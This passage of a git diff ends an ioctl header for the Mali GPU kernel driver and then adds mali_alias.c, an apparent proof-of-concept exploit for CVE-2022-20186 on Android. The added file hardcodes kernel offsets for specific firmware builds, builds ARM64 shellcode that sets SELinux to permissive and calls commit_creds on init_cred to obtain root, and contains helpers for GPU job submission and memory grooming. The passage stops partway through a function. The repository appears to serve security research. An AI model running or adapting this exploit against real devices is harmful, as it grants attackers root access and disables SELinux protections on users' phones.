+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5)
+
+/**
+ * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory
+ *                                   allocator
+ * @va_pages: Number of GPU virtual address pages to reserve for just-in-time
+ *            memory allocations
+ * @max_allocations: Maximum number of concurrent allocations
+ * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%)
+ * @group_id: Group ID to be used for physical allocations
+ * @padding: Currently unused, must be zero
+ * @phys_pages: Maximum number of physical pages to allocate just-in-time
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ */
+struct kbase_ioctl_mem_jit_init {
+	__u64 va_pages;
+	__u8 max_allocations;
+	__u8 trim_level;
+	__u8 group_id;
+	__u8 padding[5];
+	__u64 phys_pages;
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT \
+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init)
+
+/**
+ * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory
+ *
+ * @handle: GPU memory handle (GPU VA)
+ * @user_addr: The address where it is mapped in user space
+ * @size: The number of bytes to synchronise
+ * @type: The direction to synchronise: 0 is sync to memory (clean),
+ * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants.
+ * @padding: Padding to round up to a multiple of 8 bytes, must be zero
+ */
+struct kbase_ioctl_mem_sync {
+	__u64 handle;
+	__u64 user_addr;
+	__u64 size;
+	__u8 type;
+	__u8 padding[7];
+};
+
+#define KBASE_IOCTL_MEM_SYNC \
+	_IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync)
+
+/**
+ * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer
+ *
+ * @in: Input parameters
+ * @in.gpu_addr: The GPU address of the memory region
+ * @in.cpu_addr: The CPU address to locate
+ * @in.size: A size in bytes to validate is contained within the region
+ * @out: Output parameters
+ * @out.offset: The offset from the start of the memory region to @cpu_addr
+ */
+union kbase_ioctl_mem_find_cpu_offset {
+	struct {
+		__u64 gpu_addr;
+		__u64 cpu_addr;
+		__u64 size;
+	} in;
+	struct {
+		__u64 offset;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \
+	_IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset)
+
+/**
+ * struct kbase_ioctl_get_context_id - Get the kernel context ID
+ *
+ * @id: The kernel context ID
+ */
+struct kbase_ioctl_get_context_id {
+	__u32 id;
+};
+
+#define KBASE_IOCTL_GET_CONTEXT_ID \
+	_IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id)
+
+/**
+ * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd
+ *
+ * @flags: Flags
+ *
+ * The ioctl returns a file descriptor when successful
+ */
+struct kbase_ioctl_tlstream_acquire {
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_TLSTREAM_ACQUIRE \
+	_IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire)
+
+#define KBASE_IOCTL_TLSTREAM_FLUSH \
+	_IO(KBASE_IOCTL_TYPE, 19)
+
+/**
+ * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region
+ *
+ * @gpu_addr: The memory region to modify
+ * @pages:    The number of physical pages that should be present
+ *
+ * The ioctl may return on the following error codes or 0 for success:
+ *   -ENOMEM: Out of memory
+ *   -EINVAL: Invalid arguments
+ */
+struct kbase_ioctl_mem_commit {
+	__u64 gpu_addr;
+	__u64 pages;
+};
+
+#define KBASE_IOCTL_MEM_COMMIT \
+	_IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit)
+
+/**
+ * union kbase_ioctl_mem_alias - Create an alias of memory regions
+ * @in: Input parameters
+ * @in.flags: Flags, see BASE_MEM_xxx
+ * @in.stride: Bytes between start of each memory region
+ * @in.nents: The number of regions to pack together into the alias
+ * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info
+ * @out: Output parameters
+ * @out.flags: Flags, see BASE_MEM_xxx
+ * @out.gpu_va: Address of the new alias
+ * @out.va_pages: Size of the new alias
+ */
+union kbase_ioctl_mem_alias {
+	struct {
+		__u64 flags;
+		__u64 stride;
+		__u64 nents;
+		__u64 aliasing_info;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+		__u64 va_pages;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_ALIAS \
+	_IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias)
+
+/**
+ * union kbase_ioctl_mem_import - Import memory for use by the GPU
+ * @in: Input parameters
+ * @in.flags: Flags, see BASE_MEM_xxx
+ * @in.phandle: Handle to the external memory
+ * @in.type: Type of external memory, see base_mem_import_type
+ * @in.padding: Amount of extra VA pages to append to the imported buffer
+ * @out: Output parameters
+ * @out.flags: Flags, see BASE_MEM_xxx
+ * @out.gpu_va: Address of the new alias
+ * @out.va_pages: Size of the new alias
+ */
+union kbase_ioctl_mem_import {
+	struct {
+		__u64 flags;
+		__u64 phandle;
+		__u32 type;
+		__u32 padding;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+		__u64 va_pages;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_IMPORT \
+	_IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import)
+
+/**
+ * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region
+ * @gpu_va: The GPU region to modify
+ * @flags: The new flags to set
+ * @mask: Mask of the flags to modify
+ */
+struct kbase_ioctl_mem_flags_change {
+	__u64 gpu_va;
+	__u64 flags;
+	__u64 mask;
+};
+
+#define KBASE_IOCTL_MEM_FLAGS_CHANGE \
+	_IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change)
+
+/**
+ * struct kbase_ioctl_stream_create - Create a synchronisation stream
+ * @name: A name to identify this stream. Must be NULL-terminated.
+ *
+ * Note that this is also called a "timeline", but is named stream to avoid
+ * confusion with other uses of the word.
+ *
+ * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes.
+ *
+ * The ioctl returns a file descriptor.
+ */
+struct kbase_ioctl_stream_create {
+	char name[32];
+};
+
+#define KBASE_IOCTL_STREAM_CREATE \
+	_IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create)
+
+/**
+ * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence
+ * @fd: The file descriptor to validate
+ */
+struct kbase_ioctl_fence_validate {
+	int fd;
+};
+
+#define KBASE_IOCTL_FENCE_VALIDATE \
+	_IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate)
+
+/**
+ * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel
+ * @buffer: Pointer to the information
+ * @len: Length
+ * @padding: Padding
+ *
+ * The data provided is accessible through a debugfs file
+ */
+struct kbase_ioctl_mem_profile_add {
+	__u64 buffer;
+	__u32 len;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_MEM_PROFILE_ADD \
+	_IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add)
+
+/**
+ * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource
+ * @count: Number of resources
+ * @address: Array of __u64 GPU addresses of the external resources to map
+ */
+struct kbase_ioctl_sticky_resource_map {
+	__u64 count;
+	__u64 address;
+};
+
+#define KBASE_IOCTL_STICKY_RESOURCE_MAP \
+	_IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map)
+
+/**
+ * struct kbase_ioctl_sticky_resource_map - Unmap a resource mapped which was
+ *                                          previously permanently mapped
+ * @count: Number of resources
+ * @address: Array of __u64 GPU addresses of the external resources to unmap
+ */
+struct kbase_ioctl_sticky_resource_unmap {
+	__u64 count;
+	__u64 address;
+};
+
+#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \
+	_IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap)
+
+/**
+ * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of
+ *                                                   the GPU memory region for
+ *                                                   the given gpu address and
+ *                                                   the offset of that address
+ *                                                   into the region
+ * @in: Input parameters
+ * @in.gpu_addr: GPU virtual address
+ * @in.size: Size in bytes within the region
+ * @out: Output parameters
+ * @out.start: Address of the beginning of the memory region enclosing @gpu_addr
+ *             for the length of @offset bytes
+ * @out.offset: The offset from the start of the memory region to @gpu_addr
+ */
+union kbase_ioctl_mem_find_gpu_start_and_offset {
+	struct {
+		__u64 gpu_addr;
+		__u64 size;
+	} in;
+	struct {
+		__u64 start;
+		__u64 offset;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \
+	_IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset)
+
+#define KBASE_IOCTL_CINSTR_GWT_START \
+	_IO(KBASE_IOCTL_TYPE, 33)
+
+#define KBASE_IOCTL_CINSTR_GWT_STOP \
+	_IO(KBASE_IOCTL_TYPE, 34)
+
+/**
+ * union kbase_ioctl_gwt_dump - Used to collect all GPU write fault addresses.
+ * @in: Input parameters
+ * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas.
+ * @in.size_buffer: Address of buffer to hold size of modified areas (in pages)
+ * @in.len: Number of addresses the buffers can hold.
+ * @in.padding: padding
+ * @out: Output parameters
+ * @out.no_of_addr_collected: Number of addresses collected into addr_buffer.
+ * @out.more_data_available: Status indicating if more addresses are available.
+ * @out.padding: padding
+ *
+ * This structure is used when performing a call to dump GPU write fault
+ * addresses.
+ */
+union kbase_ioctl_cinstr_gwt_dump {
+	struct {
+		__u64 addr_buffer;
+		__u64 size_buffer;
+		__u32 len;
+		__u32 padding;
+
+	} in;
+	struct {
+		__u32 no_of_addr_collected;
+		__u8 more_data_available;
+		__u8 padding[27];
+	} out;
+};
+
+#define KBASE_IOCTL_CINSTR_GWT_DUMP \
+	_IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump)
+
+/**
+ * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone
+ *
+ * @va_pages: Number of VA pages to reserve for EXEC_VA
+ */
+struct kbase_ioctl_mem_exec_init {
+	__u64 va_pages;
+};
+
+#define KBASE_IOCTL_MEM_EXEC_INIT \
+	_IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init)
+
+/**
+ * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of
+ *                                          cpu/gpu time (counter values)
+ * @in: Input parameters
+ * @in.request_flags: Bit-flags indicating the requested types.
+ * @in.paddings:      Unused, size alignment matching the out.
+ * @out: Output parameters
+ * @out.sec:           Integer field of the monotonic time, unit in seconds.
+ * @out.nsec:          Fractional sec of the monotonic time, in nano-seconds.
+ * @out.padding:       Unused, for __u64 alignment
+ * @out.timestamp:     System wide timestamp (counter) value.
+ * @out.cycle_counter: GPU cycle counter value.
+ */
+union kbase_ioctl_get_cpu_gpu_timeinfo {
+	struct {
+		__u32 request_flags;
+		__u32 paddings[7];
+	} in;
+	struct {
+		__u64 sec;
+		__u32 nsec;
+		__u32 padding;
+		__u64 timestamp;
+		__u64 cycle_counter;
+	} out;
+};
+
+#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \
+	_IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo)
+
+/**
+ * struct kbase_ioctl_context_priority_check - Check the max possible priority
+ * @priority: Input priority & output priority
+ */
+
+struct kbase_ioctl_context_priority_check {
+	__u8 priority;
+};
+
+#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \
+	_IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check)
+
+/**
+ * struct kbase_ioctl_set_limited_core_count - Set the limited core count.
+ *
+ * @max_core_count: Maximum core count
+ */
+struct kbase_ioctl_set_limited_core_count {
+	__u8 max_core_count;
+};
+
+#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \
+	_IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count)
+
+
+/***************
+ * Pixel ioctls *
+ ***************/
+
+/**
+ * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request
+ *
+ * @dur_usec: Duration for GPU to stay awake.
+ */
+struct kbase_ioctl_apc_request {
+	__u32 dur_usec;
+};
+
+#define KBASE_IOCTL_APC_REQUEST \
+	_IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request)
+
+/***************
+ * test ioctls *
+ ***************/
+#if MALI_UNIT_TEST
+/* These ioctls are purely for test purposes and are not used in the production
+ * driver, they therefore may change without notice
+ */
+
+#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1)
+
+
+/**
+ * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes
+ * @bytes_collected: number of bytes read by user
+ * @bytes_generated: number of bytes generated by tracepoints
+ */
+struct kbase_ioctl_tlstream_stats {
+	__u32 bytes_collected;
+	__u32 bytes_generated;
+};
+
+#define KBASE_IOCTL_TLSTREAM_STATS \
+	_IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats)
+
+#endif /* MALI_UNIT_TEST */
+
+/* Customer extension range */
+#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2)
+
+/* If the integration needs extra ioctl add them there
+ * like this:
+ *
+ * struct my_ioctl_args {
+ *  ....
+ * }
+ *
+ * #define KBASE_IOCTL_MY_IOCTL \
+ *         _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args)
+ */
+
+
+/**********************************
+ * Definitions for GPU properties *
+ **********************************/
+#define KBASE_GPUPROP_VALUE_SIZE_U8	(0x0)
+#define KBASE_GPUPROP_VALUE_SIZE_U16	(0x1)
+#define KBASE_GPUPROP_VALUE_SIZE_U32	(0x2)
+#define KBASE_GPUPROP_VALUE_SIZE_U64	(0x3)
+
+#define KBASE_GPUPROP_PRODUCT_ID			1
+#define KBASE_GPUPROP_VERSION_STATUS			2
+#define KBASE_GPUPROP_MINOR_REVISION			3
+#define KBASE_GPUPROP_MAJOR_REVISION			4
+/* 5 previously used for GPU speed */
+#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX			6
+/* 7 previously used for minimum GPU speed */
+#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE		8
+#define KBASE_GPUPROP_TEXTURE_FEATURES_0		9
+#define KBASE_GPUPROP_TEXTURE_FEATURES_1		10
+#define KBASE_GPUPROP_TEXTURE_FEATURES_2		11
+#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE		12
+
+#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE			13
+#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE		14
+#define KBASE_GPUPROP_L2_NUM_L2_SLICES			15
+
+#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES		16
+#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS		17
+
+#define KBASE_GPUPROP_MAX_THREADS			18
+#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE		19
+#define KBASE_GPUPROP_MAX_BARRIER_SIZE			20
+#define KBASE_GPUPROP_MAX_REGISTERS			21
+#define KBASE_GPUPROP_MAX_TASK_QUEUE			22
+#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT		23
+#define KBASE_GPUPROP_IMPL_TECH				24
+
+#define KBASE_GPUPROP_RAW_SHADER_PRESENT		25
+#define KBASE_GPUPROP_RAW_TILER_PRESENT			26
+#define KBASE_GPUPROP_RAW_L2_PRESENT			27
+#define KBASE_GPUPROP_RAW_STACK_PRESENT			28
+#define KBASE_GPUPROP_RAW_L2_FEATURES			29
+#define KBASE_GPUPROP_RAW_CORE_FEATURES			30
+#define KBASE_GPUPROP_RAW_MEM_FEATURES			31
+#define KBASE_GPUPROP_RAW_MMU_FEATURES			32
+#define KBASE_GPUPROP_RAW_AS_PRESENT			33
+#define KBASE_GPUPROP_RAW_JS_PRESENT			34
+#define KBASE_GPUPROP_RAW_JS_FEATURES_0			35
+#define KBASE_GPUPROP_RAW_JS_FEATURES_1			36
+#define KBASE_GPUPROP_RAW_JS_FEATURES_2			37
+#define KBASE_GPUPROP_RAW_JS_FEATURES_3			38
+#define KBASE_GPUPROP_RAW_JS_FEATURES_4			39
+#define KBASE_GPUPROP_RAW_JS_FEATURES_5			40
+#define KBASE_GPUPROP_RAW_JS_FEATURES_6			41
+#define KBASE_GPUPROP_RAW_JS_FEATURES_7			42
+#define KBASE_GPUPROP_RAW_JS_FEATURES_8			43
+#define KBASE_GPUPROP_RAW_JS_FEATURES_9			44
+#define KBASE_GPUPROP_RAW_JS_FEATURES_10		45
+#define KBASE_GPUPROP_RAW_JS_FEATURES_11		46
+#define KBASE_GPUPROP_RAW_JS_FEATURES_12		47
+#define KBASE_GPUPROP_RAW_JS_FEATURES_13		48
+#define KBASE_GPUPROP_RAW_JS_FEATURES_14		49
+#define KBASE_GPUPROP_RAW_JS_FEATURES_15		50
+#define KBASE_GPUPROP_RAW_TILER_FEATURES		51
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0		52
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1		53
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2		54
+#define KBASE_GPUPROP_RAW_GPU_ID			55
+#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS		56
+#define KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE	57
+#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE	58
+#define KBASE_GPUPROP_RAW_THREAD_FEATURES		59
+#define KBASE_GPUPROP_RAW_COHERENCY_MODE		60
+
+#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS		61
+#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS		62
+#define KBASE_GPUPROP_COHERENCY_COHERENCY		63
+#define KBASE_GPUPROP_COHERENCY_GROUP_0			64
+#define KBASE_GPUPROP_COHERENCY_GROUP_1			65
+#define KBASE_GPUPROP_COHERENCY_GROUP_2			66
+#define KBASE_GPUPROP_COHERENCY_GROUP_3			67
+#define KBASE_GPUPROP_COHERENCY_GROUP_4			68
+#define KBASE_GPUPROP_COHERENCY_GROUP_5			69
+#define KBASE_GPUPROP_COHERENCY_GROUP_6			70
+#define KBASE_GPUPROP_COHERENCY_GROUP_7			71
+#define KBASE_GPUPROP_COHERENCY_GROUP_8			72
+#define KBASE_GPUPROP_COHERENCY_GROUP_9			73
+#define KBASE_GPUPROP_COHERENCY_GROUP_10		74
+#define KBASE_GPUPROP_COHERENCY_GROUP_11		75
+#define KBASE_GPUPROP_COHERENCY_GROUP_12		76
+#define KBASE_GPUPROP_COHERENCY_GROUP_13		77
+#define KBASE_GPUPROP_COHERENCY_GROUP_14		78
+#define KBASE_GPUPROP_COHERENCY_GROUP_15		79
+
+#define KBASE_GPUPROP_TEXTURE_FEATURES_3		80
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3		81
+
+#define KBASE_GPUPROP_NUM_EXEC_ENGINES			82
+
+#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC		83
+#define KBASE_GPUPROP_TLS_ALLOC				84
+#define KBASE_GPUPROP_RAW_GPU_FEATURES			85
+
+#define BASE_MEM_MAP_TRACKING_HANDLE           (3ull  << 12)
+
+#endif /* _UAPI_KBASE_JM_IOCTL_H_ */
+
diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/mali_alias.c b/SecurityExploits/Android/Mali/CVE_2022_20186/mali_alias.c
new file mode 100644
index 0000000..b57354a
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_20186/mali_alias.c
@@ -0,0 +1,501 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <sys/wait.h>
+#include <sys/system_properties.h>
+
+#include "stdbool.h"
+
+#include "mali.h"
+#include "mali_base_jm_kernel.h"
+#include "midgard.h"
+
+#define MALI "/dev/mali0"
+
+#define PAGE_SHIFT 12
+
+#define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576)
+
+#define PFN_DOWN(x)	((x) >> PAGE_SHIFT)
+
+#define POOL_SIZE 16384
+
+#define RESERVED_SIZE 32
+
+#define TOTAL_RESERVED_SIZE 1024
+
+#define KERNEL_BASE 0x80000000
+
+#define OVERWRITE_INDEX 256
+
+#define ADRP_INIT_INDEX 0
+
+#define ADD_INIT_INDEX 1
+
+#define ADRP_COMMIT_INDEX 2
+
+#define ADD_COMMIT_INDEX 3
+
+#define AVC_DENY_2108 0x92df1c
+
+#define SEL_READ_ENFORCE_2108 0x942ae4
+
+#define INIT_CRED_2108 0x29a0570
+
+#define COMMIT_CREDS_2108 0x180b0c
+
+#define ADD_INIT_2108 0x9115c000
+
+#define ADD_COMMIT_2108 0x912c3108
+
+#define AVC_DENY_2201 0x930af4
+
+#define SEL_READ_ENFORCE_2201 0x9456bc
+
+#define INIT_CRED_2201 0x29b0570
+
+#define COMMIT_CREDS_2201 0x183df0
+
+#define ADD_INIT_2201 0x9115c000
+
+#define ADD_COMMIT_2201 0x9137c108
+
+#define AVC_DENY_2202 0x930b50
+
+#define SEL_READ_ENFORCE_2202 0x94551c
+
+#define INIT_CRED_2202 0x29b0570
+
+#define COMMIT_CREDS_2202 0x183e3c
+
+#define ADD_INIT_2202 0x9115c000    //add	x0, x0, #0x570
+
+#define ADD_COMMIT_2202 0x9138f108  //add	x8, x8, #0xe3c
+
+static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2108;
+
+static uint64_t avc_deny = AVC_DENY_2108;
+
+static int atom_number = 1;
+
+/*
+Overwriting SELinux to permissive
+  strb wzr, [x0]
+  mov x0, #0
+  ret
+*/
+static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0};
+
+static uint32_t root_code[8] = {0};
+
+struct base_mem_handle {
+	struct {
+		__u64 handle;
+	} basep;
+};
+
+struct base_mem_aliasing_info {
+	struct base_mem_handle handle;
+	__u64 offset;
+	__u64 length;
+};
+
+static int open_dev(char* name) {
+  int fd = open(name, O_RDWR);
+  if (fd == -1) {
+    err(1, "cannot open %s\n", name);
+  }
+  return fd;
+}
+
+void setup_mali(int fd) {
+  struct kbase_ioctl_version_check param = {0};
+  if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &param) < 0) {
+    err(1, "version check failed\n");
+  }
+  struct kbase_ioctl_set_flags set_flags = {1 << 3};
+  if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) {
+    err(1, "set flags failed\n");
+  }
+}
+
+void* setup_tracking_page(int fd) {
+  void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE);
+  if (region == MAP_FAILED) {
+    err(1, "setup tracking page failed");
+  }
+  return region;
+}
+
+void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) {
+    err(1, "mem_alloc failed\n");
+  }
+}
+
+void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) {
+    err(1, "mem_alias failed\n");
+  }
+}
+
+void mem_query(int fd, union kbase_ioctl_mem_query* query) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) {
+    err(1, "mem_query failed\n");
+  }
+}
+
+uint32_t lo32(uint64_t x) {
+  return x & 0xffffffff;
+}
+
+uint32_t hi32(uint64_t x) {
+  return x >> 32;
+}
+
+uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) {
+  uint64_t pc_page = pc >> 12;
+  uint64_t label_page = label >> 12;
+  int64_t offset = (label_page - pc_page) << 12;
+  int64_t immhi_mask = 0xffffe0;
+  int64_t immhi = offset >> 14;
+  int32_t immlo = (offset >> 12) & 0x3;
+  uint32_t adpr = rd & 0x1f;
+  adpr |= (1 << 28);
+  adpr |= (1 << 31); //op
+  adpr |= immlo << 29;
+  adpr |= (immhi_mask & (immhi << 5));
+  return adpr;
+}
+
+void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) {
+
+  uint32_t init_adpr = write_adrp(0, read_enforce, init_cred);
+  //Sets x0 to init_cred
+  root_code[ADRP_INIT_INDEX] = init_adpr;
+  root_code[ADD_INIT_INDEX] = add_init;
+  //Sets x8 to commit_creds
+  root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred);
+  root_code[ADD_COMMIT_INDEX] = add_commit;
+  root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10]
+  root_code[5] = 0xd63f0100; // blr x8
+  root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10
+  root_code[7] = 0xd65f03c0; // ret
+}
+
+uint64_t get_gpuprop(int fd, uint32_t key) {
+  struct kbase_ioctl_get_gpuprops props = {0};
+  uint8_t buffer[0x1000] = {0};
+  props.buffer = (uint64_t)(&(buffer[0]));
+  props.size = 0x1000;
+  if (ioctl(fd, KBASE_IOCTL_GET_GPUPROPS, &props) < 0) {
+    err(1, "get_gpuprop failed\n");
+  }
+  int idx = 0;
+  while (idx < 0x1000) {
+    uint32_t this_key = *(uint32_t*)(&(buffer[idx]));
+    uint32_t size_code = this_key & 0x3;
+    this_key = this_key >> 2;
+    uint64_t value;
+    idx += 4;
+    switch (size_code) {
+      case 0:
+        value = buffer[idx];
+        idx++;
+        break;
+      case 1:
+        value = *(uint16_t*)(&(buffer[idx]));
+        idx += 2;
+        break;
+      case 2:
+        value = *(uint32_t*)(&(buffer[idx]));
+        idx += 4;
+        break;
+      case 3:
+        value = *(uint64_t*)(&(buffer[idx]));
+        idx += 8;
+        break;
+    }
+    if (key == this_key) return value;
+  }
+  err(1, "cannot find prop\n");
+  return -1;
+}
+
+void* map_gpu(int mali_fd, unsigned int pages, bool read_only, int group) {
+  union kbase_ioctl_mem_alloc alloc = {0};
+  alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22);
+  int prot = PROT_READ | PROT_WRITE;
+  if (!read_only) {
+    alloc.in.flags |= BASE_MEM_PROT_GPU_WR;
+    prot |= PROT_WRITE;
+  }
+  alloc.in.va_pages = pages;
+  alloc.in.commit_pages = pages;
+  mem_alloc(mali_fd, &alloc);
+  void* region = mmap(NULL, 0x1000 * pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va);
+  if (region == MAP_FAILED) {
+    err(1, "mmap failed");
+  }
+  return region;
+}
+
+void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) {
+  void* jc_region = map_gpu(mali_fd, 1, false, 0);
+  struct MALI_JOB_HEADER jh = {0};
+  jh.is_64b = true;
+  jh.type = MALI_JOB_TYPE_WRITE_VALUE;
+  
+  struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0};
+  payload.type = type;
+  payload.immediate_value = value;
+  payload.address = gpu_addr;
+
+  MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh);
+  MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload);
+  uint32_t* section = (uint32_t*)jc_region;
+  struct base_jd_atom_v2 atom = {0};
+  atom.jc = (uint64_t)jc_region;
+  atom.atom_number = atom_number;
+  atom.core_req = BASE_JD_REQ_CS;
+  struct kbase_ioctl_job_submit submit = {0};
+  submit.addr = (uint64_t)(&atom);
+  submit.nr_atoms = 1;
+  submit.stride = sizeof(struct base_jd_atom_v2);
+  if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+    err(1, "submit job failed\n");
+  }
+  usleep(10000);
+}
+
+void* drain_mem_pool(int mali_fd) {
+  return map_gpu(mali_fd, POOL_SIZE, false, 1);
+}
+
+void release_mem_pool(void* drain) {
+  munmap(drain, POOL_SIZE * 0x1000);
+}
+
+void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
+  for (int i = 0; i < nents; i++) {
+    union kbase_ioctl_mem_alloc alloc = {0};
+    alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22);
+    int prot = PROT_READ | PROT_WRITE;
+    alloc.in.va_pages = pages;
+    alloc.in.commit_pages = pages;
+    mem_alloc(mali_fd, &alloc);
+    reserved_va[i] = alloc.out.gpu_va;
+  }
+}
+
+void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
+  for (int i = 0; i < nents; i++) {
+    void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]);
+    if (reserved == MAP_FAILED) {
+      err(1, "mmap reserved failed");
+    }
+    reserved_va[i] = (uint64_t)reserved;
+  }
+}
+
+uint64_t set_addr_lv3(uint64_t addr) {
+  uint64_t pfn = addr >> PAGE_SHIFT;
+  pfn &= ~ 0x1FFUL;
+  pfn |= 0x100UL;
+  return pfn << PAGE_SHIFT;
+}
+
+static inline uint64_t compute_pt_index(uint64_t addr, int level) {
